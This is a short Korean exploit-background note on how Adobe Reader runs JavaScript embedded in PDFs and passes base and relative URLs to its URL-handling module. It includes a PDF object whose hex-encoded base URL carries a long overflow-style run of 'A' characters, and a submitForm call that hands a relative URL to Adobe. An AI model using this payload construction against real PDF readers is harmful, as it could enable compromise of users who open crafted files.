Processing JS Script in PDF at Adobe
Exploit Knowledge
- PDF는 내장 JavaScript code를 가질 수 있고, Adobe는 이를 실행한다.
- PDF에 내장된 JS Script는 JS Engine인 SpiderMonkey가 Adobe의 EScript.api 모듈을 이용해 실행한다.
- Adobe에서 사용하는 JS Engine인 SpiderMonkey는 C++로 구현되었다.
- 만약 PDF에 URL이 지정되어 있다면 Adobe는 IA32.api 모듈로 URL 관련 작업 및 인터넷 접속을 수행한다.
[그림 1] Adobe에서 PDF에 내장된 JS script를 처리하는 과정
- PDF는 Adobe에게 두 종류의 URL을 전달할 수 있다.
- base URL
- https://…와 같이 URL의 base를 나타낸다.
- base URL은 PDF 파일 내부에서 객체로 설정하며 Adobe로 전달할 수 있다.
11 0 obj << /Base <FEFF68747470733A2F2F7777772E61612E636F6D2F414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141412F> >> endobj
- relative URL
- base URL 뒤에 나오는 URL을 나타낸다.
- PDF에서는 내장된 JS script에서 relative URL을 인터넷 엑세스 관련 함수의 인자로 이용하면, relative URL을 Adobe로 전달할 수 있다.
- 이때
this.submitForm()
,app.launchURL()
와 같은 JS code를 사용한다.
try { this.submitForm('relative URL'); } catch (err) { }
- base URL